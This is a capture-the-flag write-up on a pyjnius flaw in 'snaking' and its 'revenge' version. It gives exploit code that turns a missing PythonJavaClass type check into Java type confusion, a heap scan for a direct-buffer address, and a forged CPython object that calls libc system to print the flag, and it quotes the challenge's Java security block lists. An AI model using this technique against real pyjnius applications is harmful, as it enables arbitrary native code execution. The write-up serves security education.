[SAS CTF 2026] snaking writeup

I solved snaking first, then looked at snaking revenge. I wrote both up here.

The bug is in the Python/Java boundary of pyjnius. At first I treated the challenge like a Java sandbox escape, because the server asks for a JAR. But the program literally prints the libc base address, so the direction changed pretty quickly: use a pyjnius object confusion to reach native code execution.

Overview

The wrapper accepts a user-supplied JAR, puts it in CLASSPATH, and runs main.py.

Inside main.py, pyjnius loads classes such as requester.HttpClient and requester.Request$Builder from that JAR. The call I cared about was this:

1
client_builder.proxyAuthenticator(
2
    ProxyAuthenticator.from_creds(args.proxy.username, args.proxy.password)
3
)

ProxyAuthenticator is a Python class exported as a Java interface using pyjnius. If the proxy URL contains a username and password, a PythonJavaClass object is passed into a Java method from my JAR.

Component-wise, the challenge looks like this:

After that, the exploit chain was:

PythonJavaClass argument type check missing
    -> Java dynamic proxy passed as FakeProxy
    -> fake field layout over java.lang.reflect.Proxy
    -> NativeInvocationHandler.ptr read/write
    -> scan Java heap through fake long fields
    -> find DirectByteBuffer.address
    -> place fake PyObject in native direct-buffer memory
    -> fake PyTypeObject.tp_getattro = libc.system
    -> trigger proxy toString()
    -> py_obj.invoke attribute lookup
    -> system(" cat f*")

For snaking revenge, the patch tightens the sandbox, but it does not fix the pyjnius conversion bug. I only needed a cleaner Java payload, a wider heap scan, and one extra direct buffer tag.

Part 1: snaking

Getting into the callback

This path only runs when the proxy URL contains credentials:

http://user:pass@127.0.0.1:9

Without user:pass, main.py never calls proxyAuthenticator().

The Python side defines the authenticator as a PythonJavaClass:

1
class ProxyAuthenticator(PythonJavaClass):
2
    __javainterfaces__ = ['requester.ProxyAuthenticator']
3

4
    @classmethod
5
    def from_creds(cls, username: str | None = None, password: str | None = None) -> 'ProxyAuthenticator':
6
        self = cls.__new__(cls)
7
        self._username = username
8
        self._password = password
9
        return self
10

11
    @java_method('(Lrequester/Request;)V')
12
    def authenticate(self, request) -> None:
13
        print("todo...")

Since my JAR defines requester.HttpClient, I also control the builder method that receives this object.

I expected this method to use the declared interface:

1
public Builder proxyAuthenticator(ProxyAuthenticator auth) {
2
    ...
3
}

But pyjnius lets me write this instead:

1
public Builder proxyAuthenticator(FakeProxy auth) {
2
    Exploit.run(auth);
3
    return this;
4
}

This was the bug I needed.

pyjnius argument conversion

The useful code is populate_args() in jnius_conversion.pxi.

For normal Java objects, pyjnius checks whether the object is assignable to the Java parameter type:

1
elif isinstance(py_arg, JavaClass):
2
    jc = py_arg
3
    check_assignable_from(j_env, jc, argtype[1:-1])
4
    j_args[index].l = jc.j_self.obj

For PythonJavaClass, it does not:

1
elif isinstance(py_arg, PythonJavaClass):
2
    pc = py_arg
3
    jc = pc.j_self
4
    if jc is None:
5
        pc._init_j_self_ptr()
6
        jc = pc.j_self
7
    j_args[index].l = jc.j_self.obj

That missing check is the whole bug.

I tried a normal Java object type confusion first, by making another callback receive some fake request type. That fails because the argument is a normal JavaClass, so check_assignable_from() catches it.

But ProxyAuthenticator is a PythonJavaClass. That branch just extracts the backing Java proxy object and passes it as-is.

At that point, my Java code is looking at a real object whose runtime class is similar to:

jdk.proxy1.$Proxy0 extends java.lang.reflect.Proxy

but the method signature says:

requester.FakeProxy

Turning the confusion into ptr access

Java dynamic proxy objects extend java.lang.reflect.Proxy, which contains:

1
protected InvocationHandler h;

pyjnius stores an org.jnius.NativeInvocationHandler in that field. Its source is roughly:

1
public class NativeInvocationHandler implements InvocationHandler {
2
    private long ptr;
3

4
    public NativeInvocationHandler(long ptr) {
5
        this.ptr = ptr;
6
    }
7

8
    public Object invoke(Object proxy, Method method, Object[] args) {
9
        return invoke0(proxy, method, args);
10
    }
11

12
    native Object invoke0(Object proxy, Method method, Object[] args);
13
}

Direct access to org.jnius.NativeInvocationHandler is blocked by jnius.security, but I do not need to name that class.

I can define fake classes with the same first fields:

1
public class FakeNative {
2
    public long ptr;
3
}
4

5
public class FakeProxy {
6
    public FakeNative h;
7
    public long qword0;
8
    public long qword1;
9
    ...
10
}

The confusing part is that there is only one real object. Java just gives me the wrong static view of it:

Because Java believes auth is a FakeProxy, auth.h reads the field at the offset of FakeProxy.h. That offset lines up with java.lang.reflect.Proxy.h in the real object.

The returned object is actually a NativeInvocationHandler, but Java sees it as FakeNative. Then auth.h.ptr reads and writes the real NativeInvocationHandler.ptr.

That gives this small primitive:

1
FakeNative handler = auth.h;
2
long oldPtr = handler.ptr;
3
handler.ptr = newPtr;

oldPtr is the original Python object pointer for the ProxyAuthenticator instance. newPtr can be any address I want pyjnius to treat as a Python object.

What ptr is used for

The native callback path in jnius_proxy.pxi reads the ptr field and casts it into a Python object:

1
cdef jobject py_invoke0(JNIEnv *j_env, jobject j_this, jobject j_proxy,
2
        jobject j_method, jobjectArray args) except * with gil:
3
    ...
4
    ptrField = j_env[0].GetFieldID(j_env,
5
        j_env[0].GetObjectClass(j_env, j_this), "ptr", "J")
6
    jptr = j_env[0].GetLongField(j_env, j_this, ptrField)
7
    py_obj = <object><void *>jptr
8
    ...
9
    ret = py_obj.invoke(method, *py_args)

No sanity check is done on jptr.

At this point I needed native memory that I could write from Java. Once the fake object is ready, the callback path is short:

Finding writable native memory

ByteBuffer.allocateDirect() is useful because it allocates native backing memory and lets Java write to it:

1
ByteBuffer buf = ByteBuffer.allocateDirect(0x1337);
2
buf.order(ByteOrder.LITTLE_ENDIAN);

Java can write controlled qwords into this buffer:

1
buf.putLong(offset, value);

CPython can later read the same memory as normal native memory if I know the backing address.

I first tried the normal ways to ask Java for the address:

1
((sun.nio.ch.DirectBuffer) buf).address()
2
sun.misc.Unsafe.getUnsafe()
3
jdk.internal.misc.Unsafe.getUnsafe()
4
jdk.internal.access.SharedSecrets.getJavaNioAccess().getBufferAddress(buf)
5
buf.getClass().getMethod("address").invoke(buf)

I ended up reusing the type confusion as a very ugly heap scanner.

FakeProxy contains thousands of fake long fields:

1
public class FakeProxy {
2
    public FakeNative h;
3
    public long qword0;
4
    public long qword1;
5
    ...
6
    public long qword6999;
7
}

The real proxy object is much smaller than that. Reading those fields walks past the real object and interprets nearby Java heap memory as qwords.

Ugly, but enough to find a nearby DirectByteBuffer object.

Identifying DirectByteBuffer

Locally, on the same Java 21 layout, the base java.nio.Buffer fields looked like this:

java.nio.Buffer
  mark      int   offset 12
  address   long  offset 16
  position  int   offset 24
  limit     int   offset 28
  capacity  int   offset 32

For:

1
ByteBuffer.allocateDirect(0x1337);

the object contains:

mark      = -1
address   = native backing memory address
position  = 0
limit     = 0x1337
capacity  = 0x1337

I searched for that tagged layout:

1
if (Scanner.addr == 0 &&
2
    p.qword[i - 4] == 1L &&
3
    (p.qword[i - 3] >>> 32) == 0xffffffffL &&
4
    (p.qword[i - 1] >>> 32) == 0x1337L &&
5
    (p.qword[i] & 0xffffffffL) == 0x1337L) {
6
    Scanner.addr = p.qword[i - 2];
7
}

p.qword[i - 2] is the address field.

That was enough to recover the direct buffer backing address from Java, without calling any blocked internal API.

Forging a PyObject

CPython objects begin with:

1
typedef struct _object {
2
    Py_ssize_t ob_refcnt;
3
    PyTypeObject *ob_type;
4
} PyObject;

I only filled the fields needed to survive until attribute lookup. The fake object points to a fake type object, and that fake type object has tp_getattro = system.

On the target Python 3.12 build, tp_getattro was at offset 144 inside PyTypeObject.

The direct buffer memory is laid out like this:

fakeObj + 0x00: ob_refcnt, also command bytes
fakeObj + 0x08: ob_type = fakeObj + 0x100

fakeObj + 0x100: fake PyTypeObject
fakeObj + 0x100 + 144: tp_getattro = libc.system

Java writes it like this:

1
private static void fakeObject(ByteBuffer buf, long fakeObj, long system) {
2
    long fakeType = fakeObj + 0x100;
3

4
    buf.putLong(0, 0x002a66207461631fL);
5
    buf.putLong(8, fakeType);
6
    for (int i = 0x10; i < 0x200; i += 8) {
7
        buf.putLong(i, 0);
8
    }
9
    buf.putLong(0x100 + 144, system);
10
}

The first qword is both ob_refcnt and the command string.

0x002a66207461631f is little endian:

1f 63 61 74 20 66 2a 00

At first it is:

\x1fcat f*

When Cython executes:

1
py_obj = <object><void *>jptr

it increments the reference count. Since ob_refcnt is the first qword, the first byte increases by one:

1f 63 61 74 20 66 2a 00
20 63 61 74 20 66 2a 00

After that one INCREF, the fake object starts with:

 cat f*

The leading space is harmless for /bin/sh -c.

Triggering system

After replacing NativeInvocationHandler.ptr, I trigger any proxy method:

1
handler.ptr = fakeObj;
2
((Object) auth).toString();

The dynamic proxy dispatches to NativeInvocationHandler.invoke(), which calls the native invoke0() path. pyjnius casts ptr to py_obj and then runs:

1
ret = py_obj.invoke(method, *py_args)

Before calling anything, CPython has to resolve the invoke attribute:

1
Py_TYPE(py_obj)->tp_getattro(py_obj, "invoke")

The fake type object has:

tp_getattro = system

The function pointer type does not match, but that is fine for this one call on x86_64 SysV. CPython passes the fake object pointer as the first argument, and system() interprets it as a char *.

The call is basically:

1
system(fakeObj);

In practice, that becomes:

system(" cat f*")

The process usually dies after printing the flag because system() returns an int, while CPython expects a PyObject *. The flag is already out by then.

Final exploit

solve.py only keeps the remote path. It builds the JAR, sends it, parses the gift, sends system, and prints the flag.

The wrapper only reads three input lines:

JAR source:
--url:
--proxy:

but the child process inherits the same stdin. I used that to send one more line after the proxy URL:

base64(zlib(jar))
http://example.com/
http://user:pass@127.0.0.1:9
<computed system address>

The program prints the libc base:

1
def gift():
2
    """ Should've brute-forced 12 bits, but I'm feeling nice today :P """
3
    with open("/proc/self/maps", "r") as f:
4
        for line in f:
5
            if "libc.so.6" in line:
6
                print("Gift:", f'0x{line.split("-")[0]}')
7
                break

On the target libc, system was

system@@GLIBC_2.2.5 = 0x58750

1
system = libc_base + 0x58750

Output:

$ python3 solve.py
SAS{c0n7r0ll1n9_py7h0n_h34p_7hr0u9h_j4v4_15_50_4nn0y1n9_4hhh}

Part 2: snaking revenge

What changed

snaking revenge hardens the Java-side sandbox.

The new jnius.security blocks many more packages, including:

jdk.
sun.
java.lang.reflect.
java.lang.foreign.
java.lang.invoke.
java.lang.instrument.
java.lang.ProcessBuilder
java.lang.Runtime
com.sun.
org.graalvm.

It also adds package.definition rules for core Java packages and requester..

The JVM also gets:

1
f'--enable-native-access={urandom(16).hex()}'

It only prints a warning about an unknown module. I was not using Java FFM or native-access APIs, so it did not affect the exploit.

For this exploit, only one thing mattered: the pyjnius PythonJavaClass conversion bug stayed there.

Fixing the payload

The old primitive still works:

PythonJavaClass -> FakeProxy -> FakeNative.ptr -> fake PyObject

The revenge delta was only around the payload stability:

I only had to change three things for revenge.

First, I removed Java string concatenation from debug output. On Java 21, "a" + b goes through invokedynamic and java.lang.invoke.StringConcatFactory. Since revenge blocks java.lang.invoke., even harmless debug output can crash the payload.

Second, I widened the heap scan. The original scan was:

1
QWORDS = 7000
2
SCAN_FROM = 0
3
SCAN_TO = 6500

I changed it to

1
QWORDS = 24000
2
SCAN_FROM = 0
3
SCAN_TO = 22000

Third, I added a second direct buffer tag:

1
ByteBuffer buf = ByteBuffer.allocateDirect(0x1337);
2
ByteBuffer pad = ByteBuffer.allocateDirect(0x1441);

The scanner accepts either tag:

1
// 0x1337 tag
2
(p.qword[i - 1] >>> 32) == 0x1337L &&
3
(p.qword[i] & 0xffffffffL) == 0x1337L
4

5
// 0x1441 tag
6
(p.qword[i - 1] >>> 32) == 0x1441L &&
7
(p.qword[i] & 0xffffffffL) == 0x1441L

and the fake object is written to both buffers:

1
fakeObject(buf, fakeObj, system);
2
fakeObject(pad, fakeObj, system);

Then whichever direct buffer object gets found, the selected native address contains the fake object.

Final revenge exploit

The revenge solver stays almost identical to the original one:

1. Build a JAR with attacker-controlled requester.* classes.
2. Send URL and proxy credentials to hit proxyAuthenticator().
3. Parse Gift: 0x....
4. Send libc_base + 0x58750.
5. Trigger pyjnius callback through the forged ptr.

Output:

$ python3 solve_revenge.py
SAS{c0n7r0ll1n9_py7h0n_h34p_7hr0u9h_j4v4_15_50_4nn0y1n9_4hhh_...y34h_1_m34n_c0n7r0ll1n9_n07_5l0pp1n9}

Appendix

Challenge layout

Original challenge files:

Dockerfile
wrapper.py
main.py
restrict.policy
jnius.security
flag.txt
run.sh

wrapper.py reads three lines:

1
jar_source = decompress(b64decode(input("JAR source: ").strip().encode()))
2
...
3
url_arg = input("--url: ").strip()
4
proxy_arg = input("--proxy: ").strip()

It writes the decoded JAR to a temporary requester.jar, puts that in CLASSPATH, and runs main.py:

1
proc = run(
2
    ["python3", "main.py", "--url", url_arg] + (["--proxy", proxy_arg] if proxy_arg else []),
3
    stderr=STDOUT,
4
    env=os.environ.copy() | {"CLASSPATH": jar_path},
5
    check=True
6
)

That means I control Java classes under names like:

requester.HttpClient
requester.Request
requester.Response
requester.ProxyAuthenticator

main.py loads those classes through pyjnius:

1
class Java:
2
    Proxy = autoclass("java.net.Proxy")
3
    ProxyType = autoclass("java.net.Proxy$Type")
4
    InetSocketAddress = autoclass("java.net.InetSocketAddress")
5
    HttpClient = autoclass("requester.HttpClient")
6
    RequestBuilder = autoclass("requester.Request$Builder")

The JVM is started with a security manager and an empty policy:

1
jnius_config.add_options(
2
    '-Djava.security.manager',
3
    '-Djava.security.policy==restrict.policy',
4
    '-Djava.security.properties=jnius.security',
5
    '-Xbootclasspath/a:/usr/local/lib/python3.12/dist-packages/jnius/src',
6
    '-Xmx256m'
7
)

restrict.policy:

grant {

};

Java sandbox dead ends

At first, I tried the obvious thing: read /app/flag.txt from Java.

1
Files.readAllBytes(Paths.get("/app/flag.txt"));

That fails with:

AccessControlException: access denied ("java.io.FilePermission" "/app/flag.txt" "read")

I also checked the usual Java escape surfaces:

Runtime.exec
ProcessBuilder
Unsafe
reflection
DirectBuffer.address()
SharedSecrets

They are blocked or made awkward by the security settings. More importantly, the libc leak makes the pure Java sandbox direction look wrong.

Revenge patch notes

The revenge version changes the security properties and adds one JVM option:

The new jnius.security contains:

package.access=jdk.,\
               sun.,\
               java.lang.reflect.,\
               java.lang.foreign.,\
               java.lang.invoke.,\
               java.lang.instrument.,\
               java.lang.ProcessBuilder,\
               java.lang.Runtime,\
               java.rmi.,\
               javax.naming.,\
               com.sun.,\
               javax.script.,\
               org.graalvm.

and:

package.definition=java.,\
                   javax.,\
                   sun.,\
                   jdk.,\
                   com.sun.,\
                   org.jnius.,\
                   jnius.,\
                   requester.

The package.definition=requester. line looks scary because the uploaded JAR defines requester.*, but the classes are still loaded from the supplied JAR in the actual challenge flow. The exploit does not rely on defining protected JDK or pyjnius packages anyway.

Revenge string concat failure

My first revenge debug payload crashed here:

It came from this harmless-looking debug line:

1
System.out.println("scan=0x" + Long.toHexString(fakeObj));

On Java 21, string concatenation is implemented with invokedynamic and java.lang.invoke.StringConcatFactory. Since revenge blocks java.lang.invoke., this fails at runtime with a BootstrapMethodError.

When I needed debug output, I used StringBuilder:

1
System.out.println(
2
    new StringBuilder()
3
        .append("scan=0x")
4
        .append(Long.toHexString(fakeObj))
5
        .toString()
6
);

In the final payload I just removed the debug output entirely.

Scanner implementation detail

Generating one giant Java method for the whole scan can exceed Java’s method size limit, so I split the scanner into many small classes:

1
public class ScannerPart0 {
2
    public static void scan(FakeProxy p) {
3
        ...
4
    }
5
}
6

7
public class ScannerPart128 {
8
    public static void scan(FakeProxy p) {
9
        ...
10
    }
11
}

Then the dispatcher calls each part:

1
public static long find(FakeProxy p) {
2
    addr = 0;
3
    ScannerPart0.scan(p);
4
    ScannerPart128.scan(p);
5
    ...
6
    return addr;
7
}

So the solver generates Java source code instead of keeping the scanner handwritten.

Debugging notes

The heap scan gave me several pointer-looking values at first. Some of them looked more convincing than the real direct buffer address, especially page-aligned values.

Using the wrong candidate made the process crash around si_addr=0xa0. That made sense later: CPython was reading a fake object whose ob_type was effectively zero.

Tagging the direct buffer with limit == capacity == 0x1337 made the real object easy to recognize.

I also tested the command/refcount trick directly. With the first byte set to 0x1e, the shell complained:

sh: 1: \x1fcat: not found

That confirmed the cast path increments the fake object’s refcount once before the attribute lookup.

Closing notes

My first instinct was to attack the Java sandbox. The challenge lets us provide a JAR, so it really does feel like a classloader/security-manager puzzle.

But the libc leak changes the story. The actual bug is that pyjnius trusts a PythonJavaClass proxy too much when passing it into a Java method. That gives a Java-level type confusion, and from there it becomes a Python object pointer forgery.

snaking revenge blocks some noisy Java tricks and catches string concatenation through java.lang.invoke, but it leaves the core pyjnius conversion bug untouched.